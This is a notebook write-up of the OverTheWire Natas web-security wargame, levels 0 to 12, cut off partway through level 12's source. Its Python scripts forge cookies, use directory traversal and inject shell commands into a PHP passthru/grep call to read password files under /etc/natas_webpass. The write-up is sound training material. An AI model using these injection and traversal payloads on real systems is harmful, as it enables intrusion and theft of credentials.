OverTheWire - Natas Write Up

Natas teaches the basics of serverside web-security.

This writeups are for level 1 to level 17

Natas Level 0 --> Level 1

  • python libraries
    • requests

First we make client to connect to the service

In [1]:
import requests

ID = 0
USER = f'natas{ID}'
PASSWD = f'natas{ID}'
BASEURL = f'http://natas{ID}.natas.labs.overthewire.org'

And send GET requests and check the reply

In [2]:
rep = requests.get(BASEURL, auth=(USER, PASSWD))
data = rep.text

print('...printing first few lines----')
print('\n'.join(data.split('\n')[:5])) #showing only first few lines
print('-' * 20)
...printing first few lines----
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
--------------------

Password is in source code in plain text. It is something like "The password for natas1 is xxxxxxxxx"

In [3]:
for line in data.split('\n'):
    if 'password for natas1' in line:
        result = line.split()[-2]
#print(f'The password for Level{ID+1} is {result}.')
        
with open(f'PASS{ID+1}.txt', 'w') as f:
    f.write(result)

print(f'Completed. Please check PASS{ID+1}.txt for password.')
Completed. Please check PASS1.txt for password.

Natas Level 1 --> Level 2

  • python libraries
    • requests
    • BeautifulSoup

First we make client to connect to the service

In [4]:
from bs4 import BeautifulSoup
import requests

ID = 1
USER = f'natas{ID}'
BASEURL = f'http://natas{ID}.natas.labs.overthewire.org'

with open(f'PASS{ID}.txt', 'r') as f:
    PASSWD = f.read().strip()

And send GET requests and check the reply

In [5]:
rep = requests.get(BASEURL, auth=(USER, PASSWD))
soup = BeautifulSoup(rep.text, 'html.parser') # Making BeautifulSoup Object so that easy to manage the contents
soup.head.extract() # Extract <head> tag, which is irrelevant to actual questions.

data = soup.prettify().splitlines()

print('...printing first few lines----')
print('\n'.join(data[:5])) #showing only first few lines
print('-' * 20)
...printing first few lines----
<html>
 <body oncontextmenu="javascript:alert('right clicking has been blocked!');return false;">
  <h1>
   natas1
  </h1>
--------------------

Password is in source code in plain text. It is something like "The password for natas2 is xxxxxxxxx"

In [6]:
for line in data:
    if 'password for natas2' in line:
        result = line.split()[-2]
#print(f'The password for Level{ID+1} is {result}.')
        
with open(f'PASS{ID+1}.txt', 'w') as f:
    f.write(result)

print(f'Completed. Please check PASS{ID+1}.txt for password.')
Completed. Please check PASS2.txt for password.

Natas Level 2 --> Level 3

  • python libraries
    • requests
    • BeautifulSoup

First we make client to connect to the service

In [7]:
from bs4 import BeautifulSoup
import requests

ID = 2
USER = f'natas{ID}'
BASEURL = f'http://natas{ID}.natas.labs.overthewire.org'

with open(f'PASS{ID}.txt', 'r') as f:
    PASSWD = f.read().strip()

Send GET requests and check the reply

In [8]:
rep = requests.get(BASEURL, auth=(USER, PASSWD))
soup = BeautifulSoup(rep.text, 'html.parser') # Making BeautifulSoup Object so that easy to manage the contents
soup.head.extract() # Extract <head> tag, which is irrelevant to actual questions.

data = soup.prettify().splitlines()

print('...printing first few lines----')
print('\n'.join(data[:10])) #showing only first few lines
print('-' * 20)
...printing first few lines----
<html>
 <body>
  <h1>
   natas2
  </h1>
  <div id="content">
   There is nothing on this page
   <img src="files/pixel.png"/>
  </div>
 </body>
--------------------

It looks there is a "files" directory.

In [9]:
url = BASEURL + '/files'

rep = requests.get(url, auth=(USER, PASSWD))
soup = BeautifulSoup(rep.text, 'html.parser') # Making BeautifulSoup Object so that easy to manage the contents
soup.head.extract() # Extract <head> tag, which is irrelevant to actual questions.

data = soup.find_all('a')
print(data)
[<a href="?C=N;O=D">Name</a>, <a href="?C=M;O=A">Last modified</a>, <a href="?C=S;O=A">Size</a>, <a href="?C=D;O=A">Description</a>, <a href="/">Parent Directory</a>, <a href="pixel.png">pixel.png</a>, <a href="users.txt">users.txt</a>]

There is a file "users.txt" in this directory. And it contains password for the next level

In [10]:
url = BASEURL + '/files/users.txt'

rep = requests.get(url, auth=(USER, PASSWD))
for line in rep.text.split():
    if line.startswith('natas3'):
        result = line.split(':')[-1]

#print(f'The password for Level{ID+1} is {result}.')
        
with open(f'PASS{ID+1}.txt', 'w') as f:
    f.write(result)

print(f'Completed. Please check PASS{ID+1}.txt for password.')
Completed. Please check PASS3.txt for password.

Natas Level 3 --> Level 4

  • python libraries
    • requests
    • BeautifulSoup

First we make client to connect to the service

In [11]:
from bs4 import BeautifulSoup
import requests

ID = 3
USER = f'natas{ID}'
BASEURL = f'http://natas{ID}.natas.labs.overthewire.org'

with open(f'PASS{ID}.txt', 'r') as f:
    PASSWD = f.read().strip()

Send GET requests and check the reply

In [12]:
rep = requests.get(BASEURL, auth=(USER, PASSWD))
soup = BeautifulSoup(rep.text, 'html.parser') # Making BeautifulSoup Object so that easy to manage the contents
soup.head.extract() # Extract <head> tag, which is irrelevant to actual questions.

data = soup.prettify().splitlines()

print('...printing first few lines----')
print('\n'.join(data[:10])) #showing only first few lines
print('-' * 20)
...printing first few lines----
<html>
 <body>
  <h1>
   natas3
  </h1>
  <div id="content">
   There is nothing on this page
   <!-- No more information leaks!! Not even Google will find it this time... -->
  </div>
 </body>
--------------------

Why does this need to mention about Google? There might be a robots.txt that they list directories which they don't want search engine to crawl.

In [13]:
url = BASEURL + '/robots.txt'

rep = requests.get(url, auth=(USER, PASSWD))

print(rep.text)
User-agent: *
Disallow: /s3cr3t/

Let's see what files are there.

In [14]:
url = BASEURL + '/s3cr3t/'

rep = requests.get(url, auth=(USER, PASSWD))
soup = BeautifulSoup(rep.text, 'html.parser') # Making BeautifulSoup Object so that easy to manage the contents
soup.head.extract() # Extract <head> tag, which is irrelevant to actual questions.

data = soup.find_all('a')
print(data)
[<a href="?C=N;O=D">Name</a>, <a href="?C=M;O=A">Last modified</a>, <a href="?C=S;O=A">Size</a>, <a href="?C=D;O=A">Description</a>, <a href="/">Parent Directory</a>, <a href="users.txt">users.txt</a>]

The password is again listed in users.txt.

In [15]:
url = BASEURL + '/s3cr3t/users.txt'

rep = requests.get(url, auth=(USER, PASSWD))

for line in rep.text.split():
    if line.startswith('natas4'):
        result = line.split(':')[-1]

#print(f'The password for Level{ID+1} is {result}.')
        
with open(f'PASS{ID+1}.txt', 'w') as f:
    f.write(result)

print(f'Completed. Please check PASS{ID+1}.txt for password.')
Completed. Please check PASS4.txt for password.

Natas Level 4 --> Level 5

  • python libraries
    • requests
    • BeautifulSoup

First we make client to connect to the service

In [16]:
from bs4 import BeautifulSoup
import requests

ID = 4
USER = f'natas{ID}'
BASEURL = f'http://natas{ID}.natas.labs.overthewire.org'

with open(f'PASS{ID}.txt', 'r') as f:
    PASSWD = f.read().strip()

Send GET requests and check the reply

In [17]:
rep = requests.get(BASEURL, auth=(USER, PASSWD))
soup = BeautifulSoup(rep.text, 'html.parser') # Making BeautifulSoup Object so that easy to manage the contents
soup.head.extract() # Extract <head> tag, which is irrelevant to actual questions.

data = soup.prettify().splitlines()

print('...printing first few lines----')
print('\n'.join(data[:10])) #showing only first few lines
print('-' * 20)
...printing first few lines----
<html>
 <body>
  <h1>
   natas4
  </h1>
  <div id="content">
   Access disallowed. You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"
   <br/>
   <div id="viewsource">
    <a href="index.php">
--------------------

This url is expecting users to come from specific url. Once we send the GET request with referer, the password is displayed on the screen.

In [18]:
import re

headers={'referer': 'http://natas5.natas.labs.overthewire.org/'}
rep = requests.get(BASEURL, auth=(USER, PASSWD), headers=headers)
soup = BeautifulSoup(rep.text, 'html.parser')
soup.head.extract()

data = soup.findAll("div", {"id": "content"})[0].text

result = re.search(r'password for natas5 is ([0-9A-Za-z]*)', data)
result = result.group(1)

#print(f'The password for Level{ID+1} is {result}.')
        
with open(f'PASS{ID+1}.txt', 'w') as f:
    f.write(result)

print(f'Completed. Please check PASS{ID+1}.txt for password.')
Completed. Please check PASS5.txt for password.

Natas Level 5 --> Level 6

  • python libraries
    • requests
    • BeautifulSoup

First we make client to connect to the service

In [19]:
from bs4 import BeautifulSoup
import requests

ID = 5
USER = f'natas{ID}'
BASEURL = f'http://natas{ID}.natas.labs.overthewire.org'

with open(f'PASS{ID}.txt', 'r') as f:
    PASSWD = f.read().strip()

Send GET requests and check the reply

In [20]:
rep = requests.get(BASEURL, auth=(USER, PASSWD))
soup = BeautifulSoup(rep.text, 'html.parser') # Making BeautifulSoup Object so that easy to manage the contents
soup.head.extract() # Extract <head> tag, which is irrelevant to actual questions.

data = soup.prettify().splitlines()

print('...printing first few lines----')
print('\n'.join(data[:20])) #showing only first few lines
print('-' * 20)
...printing first few lines----
<html>
 <body>
  <h1>
   natas5
  </h1>
  <div id="content">
   Access disallowed. You are not logged in
  </div>
 </body>
</html>
--------------------

There is not obvious information. But login status is usually tracked by cookie. Let's take a look if there is any cookie sent from the server

In [21]:
rep.cookies
Out[21]:
<RequestsCookieJar[Cookie(version=0, name='loggedin', value='0', port=None, port_specified=False, domain='natas5.natas.labs.overthewire.org', domain_specified=False, domain_initial_dot=False, path='/', path_specified=False, secure=False, expires=None, discard=True, comment=None, comment_url=None, rest={}, rfc2109=False)]>

There is a cookie sent from the server. And the name is obvious "loggedin" and the valuie 0(False). Set this "loggedin" cookie "1(True)" and access the same URL gives you the password for next level

In [22]:
cookies = {'loggedin': '1'}

rep = requests.get(BASEURL, auth=(USER, PASSWD), cookies=cookies)
soup = BeautifulSoup(rep.text, 'html.parser')
soup.head.extract()

data = soup.find("div", {"id": "content"}).text
result = data.split()[-1]

#print(f'The password for Level{ID+1} is {result}.')
        
with open(f'PASS{ID+1}.txt', 'w') as f:
    f.write(result)

print(f'Completed. Please check PASS{ID+1}.txt for password.')
Completed. Please check PASS6.txt for password.

Natas Level 6 --> Level 7

  • python libraries
    • requests
    • BeautifulSoup

First we make client to connect to the service

In [23]:
from bs4 import BeautifulSoup
import requests

ID = 6
USER = f'natas{ID}'
BASEURL = f'http://natas{ID}.natas.labs.overthewire.org'

with open(f'PASS{ID}.txt', 'r') as f:
    PASSWD = f.read().strip()

Send GET requests and check the reply

In [24]:
rep = requests.get(BASEURL, auth=(USER, PASSWD))
soup = BeautifulSoup(rep.text, 'html.parser') # Making BeautifulSoup Object so that easy to manage the contents
soup.head.extract() # Extract <head> tag, which is irrelevant to actual questions.

data = soup.prettify().splitlines()

print('...printing first few lines----')
print('\n'.join(data[:20])) #showing only first few lines
print('-' * 20)
...printing first few lines----
<html>
 <body>
  <h1>
   natas6
  </h1>
  <div id="content">
   <form method="post">
    Input secret:
    <input name="secret"/>
    <br/>
    <input name="submit" type="submit"/>
   </form>
   <div id="viewsource">
    <a href="index-source.html">
     View sourcecode
    </a>
   </div>
  </div>
 </body>
</html>
--------------------

It is waiting something to be submitted. But before starting, I want to check all the reference in this page. There is a reference to index-source.html, let's take a look.

In [26]:
url = BASEURL + '/index-source.html'

rep = requests.get(url, auth=(USER, PASSWD))
rep = rep.text.replace("&lt;", "<")
rep = rep.replace("&gt;", ">")
rep = rep.replace("&nbsp;", " ")

soup = BeautifulSoup(rep, 'html5lib')

data = soup.find_all("div",{'id':'content'})
print(data)
[<div id="content"><br/><br/><!--?<br /--><br/>include "includes/secret.inc";<br/><br/>    if(array_key_exists("submit", $_POST)) {<br/>        if($secret == $_POST['secret']) {<br/>        print "Access granted. The password for natas7 is <censored>";<br/>    } else {<br/>        print "Wrong secret";<br/>    }<br/>    }<br/>?&gt;<br/><br/><form method="post"><br/>Input secret: <input name="secret"/><br/><br/><input name="submit" type="submit"/><br/></form><br/><br/><div id="viewsource"><a href="index-source.html">View sourcecode</a></div><br/></censored></div>]

This javascript tells if the passed code is the same as pre-configured \$secret, it will show you the password for next level. And it doesn't define \$secret here, let's take a look at includes/secret.inc

In [27]:
rep = requests.get(BASEURL + '/includes/secret.inc', auth=(USER, PASSWD))
soup = BeautifulSoup(rep.text, 'html.parser') # Making BeautifulSoup Object so that easy to manage the contents

data = soup.prettify().splitlines()

print('...printing first few lines----')
print('\n'.join(data[:20])) #showing only first few lines
print('-' * 20)
...printing first few lines----
<?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>
--------------------

We found the code, submit this code will give you the password. natas6-poc

Natas Level 7 --> Level 8

  • python libraries
    • requests
    • BeautifulSoup

First we make client to connect to the service

In [1]:
from bs4 import BeautifulSoup
import requests

ID = 7
USER = f'natas{ID}'
BASEURL = f'http://natas{ID}.natas.labs.overthewire.org'

with open(f'PASS{ID}.txt', 'r') as f:
    PASSWD = f.read().strip()

Send GET requests and check the reply

In [3]:
rep = requests.get(BASEURL, auth=(USER, PASSWD))
soup = BeautifulSoup(rep.text, 'html.parser') # Making BeautifulSoup Object so that easy to manage the contents
soup.head.extract() # Extract <head> tag, which is irrelevant to actual questions.

data = soup.prettify().splitlines()

print('...printing first few lines----')
print('\n'.join(data[:20])) #showing only first few lines
print('-' * 20)
...printing first few lines----
<html>
 <body>
  <h1>
   natas7
  </h1>
  <div id="content">
   <a href="index.php?page=home">
    Home
   </a>
   <a href="index.php?page=about">
    About
   </a>
   <br/>
   <br/>
   <!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->
  </div>
 </body>
</html>
--------------------

The next password seems to be stored somewhere not under document root of this web server. But looking at the reference in this html gives me the hint that index.php takes "page" as an argument and display that page. Surely enough I get the password displayed once I passed the /etc/natas_webpass/natas8 as a parameter. This is called directory traversal.

In [23]:
url = BASEURL + '/index.php?page=/etc/natas_webpass/natas8'

rep = requests.get(url, auth=(USER, PASSWD))
soup = BeautifulSoup(rep.text, 'html.parser') # Making BeautifulSoup Object so that easy to manage the contents
soup.head.extract() # Extract <head> tag, which is irrelevant to actual questions.

data = soup.prettify().splitlines()

for line in data:
    line = line.strip()
    if line.isalnum() and len(line) == 32:  # password always consists of only alphanumeric(no special characters), and have length of 32
        result = line

#print(f'The password for Level{ID+1} is {result}.')
        
with open(f'PASS{ID+1}.txt', 'w') as f:
    f.write(result)

print(f'Completed. Please check PASS{ID+1}.txt for password.')
Completed. Please check PASS8.txt for password.

Natas Level 8 --> Level 9

  • python libraries
    • requests
    • BeautifulSoup
  • PHP functions
    • bin2hex
    • strrev
    • base64_encode

First we make client to connect to the service

In [24]:
from bs4 import BeautifulSoup
import requests

ID = 8
USER = f'natas{ID}'
BASEURL = f'http://natas{ID}.natas.labs.overthewire.org'

with open(f'PASS{ID}.txt', 'r') as f:
    PASSWD = f.read().strip()

Send GET requests and check the reply

In [25]:
rep = requests.get(BASEURL, auth=(USER, PASSWD))
soup = BeautifulSoup(rep.text, 'html.parser') # Making BeautifulSoup Object so that easy to manage the contents
soup.head.extract() # Extract <head> tag, which is irrelevant to actual questions.

data = soup.prettify().splitlines()

print('...printing first few lines----')
print('\n'.join(data[:20])) #showing only first few lines
print('-' * 20)
...printing first few lines----
<html>
 <body>
  <h1>
   natas8
  </h1>
  <div id="content">
   <form method="post">
    Input secret:
    <input name="secret"/>
    <br/>
    <input name="submit" type="submit"/>
   </form>
   <div id="viewsource">
    <a href="index-source.html">
     View sourcecode
    </a>
   </div>
  </div>
 </body>
</html>
--------------------

Again there is a reference to index-source.html, check what is inside.

In [27]:
url = BASEURL + '/index-source.html'


rep = requests.get(url, auth=(USER, PASSWD))
rep = rep.text.replace("&lt;", "<")
rep = rep.replace("&gt;", ">")
rep = rep.replace("&nbsp;", " ")

soup = BeautifulSoup(rep, 'html5lib')

data = soup.find_all("div",{'id':'content'})
print(data)
[<div id="content"><br/><br/><!--?<br /--><br/>$encodedSecret = "3d3d516343746d4d6d6c315669563362";<br/><br/>function encodeSecret($secret) {<br/>    return bin2hex(strrev(base64_encode($secret)));<br/>}<br/><br/>if(array_key_exists("submit", $_POST)) {<br/>    if(encodeSecret($_POST['secret']) == $encodedSecret) {<br/>    print "Access granted. The password for natas9 is <censored>";<br/>    } else {<br/>    print "Wrong secret";<br/>    }<br/>}<br/>?&gt;<br/><br/><form method="post"><br/>Input secret: <input name="secret"/><br/><br/><input name="submit" type="submit"/><br/></form><br/><br/><div id="viewsource"><a href="index-source.html">View sourcecode</a></div><br/></censored></div>]

This time the \$secret is not written in plain text. Still encrypted secret \$encodedSecret is provided. Since the encoded result and the encoding algorythm is provided - bin2hex(strrev(base64_encode($secret))), I just need to reverse the process. This can be possible because all encoding used here can be reversed. It would not be possible if there is any ir-reversible encoding is used.

In [28]:
#To perform this, I use PHP, first I create php file, which perform decoding.
code = '''
<?php
    $encodedSecret = "3d3d516343746d4d6d6c315669563362";
    echo base64_decode(strrev(hex2bin($encodedSecret)));
?>
'''

with open(f'./webfile/natas{ID}.php', 'w') as f:
    f.write(code)

Once I access this file, php perform the decoding and it displays the decoded secret. I'm running apache on localhost port 8088, documentRoot is set to this folder.

In [30]:
url = f'http://localhost:8088/webfile/natas{ID}.php'

rep = requests.get(url)

secret = rep.text.strip()
print(f'secret is decoded: {secret}')
secret is decoded: oubWYf2kBq

Once secret is decoded, copy and paste this secret in the column. Password for next level is displayed. natas8-poc

Natas Level 9 --> Level 10

  • python libraries
    • requests
    • BeautifulSoup
  • PHP Functions
    • passthru

First we make client to connect to the service

In [42]:
from bs4 import BeautifulSoup
import requests

ID = 9
USER = f'natas{ID}'
BASEURL = f'http://natas{ID}.natas.labs.overthewire.org'

with open(f'PASS{ID}.txt', 'r') as f:
    PASSWD = f.read().strip()

Send GET requests and check the reply

In [43]:
rep = requests.get(BASEURL, auth=(USER, PASSWD))
soup = BeautifulSoup(rep.text, 'html.parser')
soup.head.extract()

data = soup.prettify().splitlines()

print('...printing first few lines----')
print('\n'.join(data[:20])) #showing only first few lines
print('-' * 20)
...printing first few lines----
<html>
 <body>
  <h1>
   natas9
  </h1>
  <div id="content">
   <form>
    Find words containing:
    <input name="needle"/>
    <input name="submit" type="submit" value="Search"/>
    <br/>
    <br/>
   </form>
   Output:
   <pre>
</pre>
   <div id="viewsource">
    <a href="index-source.html">
     View sourcecode
    </a>
--------------------

Again there is a reference to index-source.html, check what is inside.

In [44]:
url = BASEURL + '/index-source.html'

rep = requests.get(url, auth=(USER, PASSWD))
rep = rep.text.replace("&lt;", "<")
rep = rep.replace("&gt;", ">")
rep = rep.replace("&nbsp;", " ")

soup = BeautifulSoup(rep, 'html5lib')

data = soup.find_all("div",{'id':'content'})
print(data)
[<div id="content"><br/><form><br/>Find words containing: <input name="needle"/><input name="submit" type="submit" value="Search"/><br/><br/><br/></form><br/><br/><br/>Output:<br/><pre><br/><!--?<br /-->$key = "";<br/><br/>if(array_key_exists("needle", $_REQUEST)) {<br/>    $key = $_REQUEST["needle"];<br/>}<br/><br/>if($key != "") {<br/>    passthru("grep -i $key dictionary.txt");<br/>}<br/>?&gt;<br/></pre><br/><br/><div id="viewsource"><a href="index-source.html">View sourcecode</a></div><br/></div>]

There are some of the well known fucntion which is risky to use in production, and those function needs to be deployed with great care. This passthru is one of them. The input is not sanitized beforehand to this function, any strings can be sent to this function. I can read the next password by sending cat /etc/natas_webpass/natas10.

In [57]:
query = '. . & ' # grep -i . . -do nothing
query += 'echo password for natas10 is & ' # used as a sign
query += 'cat /etc/natas_webpass/natas10 & ' # read the password
query += 'touch' # and close the command - this would execute `touch dictionary.txt`

params = {'needle': query, 'submit': 'Search'}

rep = requests.get(BASEURL, auth=(USER, PASSWD), params=params)
soup = BeautifulSoup(rep.text, 'html.parser')
soup.head.extract()

data = soup.prettify().splitlines()

sign = 0
for line in data:
    if sign:
        result = line.strip()
        break
    if not sign and 'password for natas10 is' in line:
        sign = 1
        
#print(f'The password for Level{ID+1} is {result}.')
        
with open(f'PASS{ID+1}.txt', 'w') as f:
    f.write(result)

print(f'Completed. Please check PASS{ID+1}.txt for password.')
Completed. Please check PASS11.txt for password.

Natas Level 10 --> Level 11

  • python libraries
    • requests
    • BeautifulSoup
  • PHP Functions
    • preg_match
    • passthru

First we make client to connect to the service

In [58]:
from bs4 import BeautifulSoup
import requests

ID = 10
USER = f'natas{ID}'
BASEURL = f'http://natas{ID}.natas.labs.overthewire.org'

with open(f'PASS{ID}.txt', 'r') as f:
    PASSWD = f.read().strip()

Send GET requests and check the reply

In [73]:
rep = requests.get(BASEURL, auth=(USER, PASSWD))
soup = BeautifulSoup(rep.text, 'html.parser') # Making BeautifulSoup Object so that easy to manage the contents
soup.head.extract() # Extract <head> tag, which is irrelevant to actual questions.

data = soup.prettify().splitlines()

print('...printing first few lines----')
print('\n'.join(data[:25])) #showing only first few lines
print('-' * 20)
...printing first few lines----
<html>
 <body>
  <h1>
   natas10
  </h1>
  <div id="content">
   For security reasons, we now filter on certain characters
   <br/>
   <br/>
   <form>
    Find words containing:
    <input name="needle"/>
    <input name="submit" type="submit" value="Search"/>
    <br/>
    <br/>
   </form>
   Output:
   <pre>
</pre>
   <div id="viewsource">
    <a href="index-source.html">
     View sourcecode
    </a>
   </div>
  </div>
--------------------

This time, it seems I cannot use some characters. This case, we have a reference to source-code, so let's see how they sanitize the input.

In [88]:
url = BASEURL + '/index-source.html'

rep = requests.get(url, auth=(USER, PASSWD))
rep = rep.text.replace("&lt;", "<")
rep = rep.replace("&gt;", ">")
rep = rep.replace("&nbsp;", " ")

soup = BeautifulSoup(rep, 'html5lib')

data = soup.find("div",{'id':'content'}).pre
print(str(data).replace('<br/>', '\n'))
<pre>
<!--?<br /-->$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&amp;]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i $key dictionary.txt");
    }
}
?&gt;
</pre>

So it seems we definitely cannot use the same code -";" and "&" will be sanitized. In this case, we can still use grep to read all the contents in the password file. We need to send the parameter so that whole command to be executed will be "grep -i .* /etc/natas_webpass/natas11 # dictionary.txt".

In [92]:
query = '.* /etc/natas_webpass/natas11 # ' # This wil execute the command "grep -i .* /etc/natas_webpass/natas11 # dictionary.txt", hence "dictionary.txt" is ignored.

params = {'needle': query, 'submit': 'Search'}

rep = requests.get(BASEURL, auth=(USER, PASSWD), params=params)
soup = BeautifulSoup(rep.text, 'html.parser')
soup.head.extract()

data = soup.prettify().splitlines()

for line in data:
    if '/etc/natas_webpass/natas11' in line:
        result = line.split(':')[-1]
        
#print(f'The password for Level{ID+1} is {result}.')
        
with open(f'PASS{ID+1}.txt', 'w') as f:
    f.write(result)

print(f'Completed. Please check PASS{ID+1}.txt for password.')
Completed. Please check PASS11.txt for password.

Natas Level 11 --> Level 12

  • python libraries
    • requests
    • BeautifulSoup
  • PHP Functions
    • json_decode
    • base64_decode

First we make client to connect to the service

In [13]:
from bs4 import BeautifulSoup
import requests

ID = 11
USER = f'natas{ID}'
BASEURL = f'http://natas{ID}.natas.labs.overthewire.org'

with open(f'PASS{ID}.txt', 'r') as f:
    PASSWD = f.read().strip()

Send GET requests and check the reply

In [14]:
rep = requests.get(BASEURL, auth=(USER, PASSWD))
soup = BeautifulSoup(rep.text, 'html.parser') 
soup.head.extract() 

data = soup.prettify().splitlines()

print('...printing first few lines----')
print('\n'.join(data[:25])) #showing only first few lines
print('-' * 20)
...printing first few lines----
<html>
 <h1>
  natas11
 </h1>
 <div id="content">
  <body style="background: #ffffff;">
   Cookies are protected with XOR encryption
   <br/>
   <br/>
   <form>
    Background color:
    <input name="bgcolor" value="#ffffff"/>
    <input type="submit" value="Set color"/>
   </form>
   <div id="viewsource">
    <a href="index-source.html">
     View sourcecode
    </a>
   </div>
  </body>
 </div>
</html>
--------------------

It looks like we have a cookie this time.

In [15]:
print(rep.cookies)
<RequestsCookieJar[<Cookie data=ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw%3D for natas11.natas.labs.overthewire.org/>]>

And let's see the contents of index-source.html

<?
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
    $key = '<censored>';
    $text = $in;
    $outText = '';
    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }
    return $outText;
}
function loadData($def) {
    global $_COOKIE;
    $mydata = $def;
    if(array_key_exists("data", $_COOKIE)) {
    $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
    if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
        if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
        $mydata['showpassword'] = $tempdata['showpassword'];
        $mydata['bgcolor'] = $tempdata['bgcolor'];
        }
    }
    }
    return $mydata;
}
function saveData($d) {
    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}
$data = loadData($defaultdata);
if(array_key_exists("bgcolor",$_REQUEST)) {
    if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
        $data['bgcolor'] = $_REQUEST['bgcolor'];
    }
}
saveData($data);
?>

So, this is similar to previous excercise. This time the original data was passed json_encode -> xor_encrypt -> base64_encoded. In order to do it, we need the key used in xor_encrypt function. To do this, I made a php file.

  • first I feed the b64decoded_original_cookie to xor function
  • next, in xor_encrypt I use json_encoded \$defaultdata as a key
  • As a result, the original_key should be printed out: Because both "original_data" XOR "key" = "original_result" and "original_data" XOR "original_result" = "key"should be true
In [16]:
#To perform this, I use PHP, first I create php file, which print the xor key.
code = '''
<?php
    
    
    function xor_encrypt($in) {
    
        $defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
        $key = json_encode($defaultdata);
        $text = $in;
        $outText = '';
        // Iterate through each character
        for($i=0;$i<strlen($text);$i++) {
            $outText .= $text[$i] ^ $key[$i % strlen($key)];
        }
        return $outText;
    }
    
    $original_cookie = "ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw%3D";
    $original_cookie_b64decoded = base64_decode($original_cookie);
    echo xor_encrypt($original_cookie_b64decoded); //print out the xor key
?>
'''

with open(f'./webfile/natas{ID}-getkey.php', 'w') as f:
    f.write(code)

Let's see what key we can get

In [55]:
url = f'http://localhost:8088/webfile/natas{ID}-getkey.php'

rep = requests.get(url)

print(rep.text)

qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8JqL

The last bit is the noise from the base64encoding. It looks the key is "qw8J". I create another php file to create the cookie, which is almost the copy of the original php file, but it has the defaultdata of "showpassword" = "yes"

In [60]:
code = '''
<?php

$modifieddata = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
    $key = 'qw8J';
    $text = $in;
    $outText = '';
    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }
    return $outText;
}
function loadData($def) {
    $mydata = $def;
    return $mydata;
}
function printData($d) {
    print base64_encode(xor_encrypt(json_encode($d)));
}
$data = loadData($modifieddata);
printData($data);

?>
'''

with open(f'./webfile/natas{ID}-gencookie.php', 'w') as f:
    f.write(code)

And create a key

In [61]:
url = f'http://localhost:8088/webfile/natas{ID}-gencookie.php'

rep = requests.get(url)

print(rep.text)

ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK

Now we have a cookie, which has the "showpassword"="yes", we can send this cookie to the server and next password is displayed.

In [70]:
cookies = {'data': 'ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK'}

rep = requests.get(BASEURL, auth=(USER, PASSWD), cookies=cookies)
soup = BeautifulSoup(rep.text, 'html.parser')
soup.head.extract()

data = soup.prettify().splitlines()

for line in data:
    if 'password for natas12' in line:
        result = line.split()[-1]
        
#print(f'The password for Level{ID+1} is {result}.')
        
with open(f'PASS{ID+1}.txt', 'w') as f:
    f.write(result)

print(f'Completed. Please check PASS{ID+1}.txt for password.')
Completed. Please check PASS12.txt for password.

Natas Level 12 --> Level 13

  • python libraries
    • requests
    • BeautifulSoup
  • PHP Function:
    • pathinfo()
    • file_get_contents()

First we make client to connect to the service

In [4]:
from bs4 import BeautifulSoup
import requests

ID = 12
USER = f'natas{ID}'
BASEURL = f'http://natas{ID}.natas.labs.overthewire.org'

with open(f'PASS{ID}.txt', 'r') as f:
    PASSWD = f.read().strip()

Send GET requests and check the reply

In [6]:
rep = requests.get(BASEURL, auth=(USER, PASSWD))
soup = BeautifulSoup(rep.text, 'html.parser')
soup.head.extract() 

data = soup.prettify().splitlines()

print('...printing first few lines----')
print('\n'.join(data[:20])) #showing only first few lines
print('-' * 20)
...printing first few lines----
<html>
 <body>
  <h1>
   natas12
  </h1>
  <div id="content">
   <form action="index.php" enctype="multipart/form-data" method="POST">
    <input name="MAX_FILE_SIZE" type="hidden" value="1000"/>
    <input name="filename" type="hidden" value="6bzdbqxnv1.jpg"/>
    Choose a JPEG to upload (max 1KB):
    <br/>
    <input name="uploadedfile" type="file"/>
    <br/>
    <input type="submit" value="Upload File"/>
   </form>
   <div id="viewsource">
    <a href="index-source.html">
     View sourcecode
    </a>
   </div>
--------------------

Again there is a source code available for this php generated page. Take a look.

<?  
function genRandomString() { 
    $length = 10; 
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz"; 
    $string = "";     
    for ($p = 0; $p < $length; $p++) { 
        $string .= $characters[mt_rand(0, strlen($characters)-1)]; 
    } 
    return $string; 
} 
function makeRandomPath($dir, $ext) { 
    do { 
    $path = $dir."/".genRandomString().".".$ext; 
    } while(file_exists($path)); 
    return $path; 
} 
function makeRandomPathFromFilename($dir, $fn) { 
    $ext = pathinfo($fn, PATHINFO_EXTENSION); 
    return makeRandomPath($dir, $ext); 
} 
if(array_key_exists("filename", $_POST)) { 
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]); 
        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) { 
        echo "File is too big"; 
    } else { 
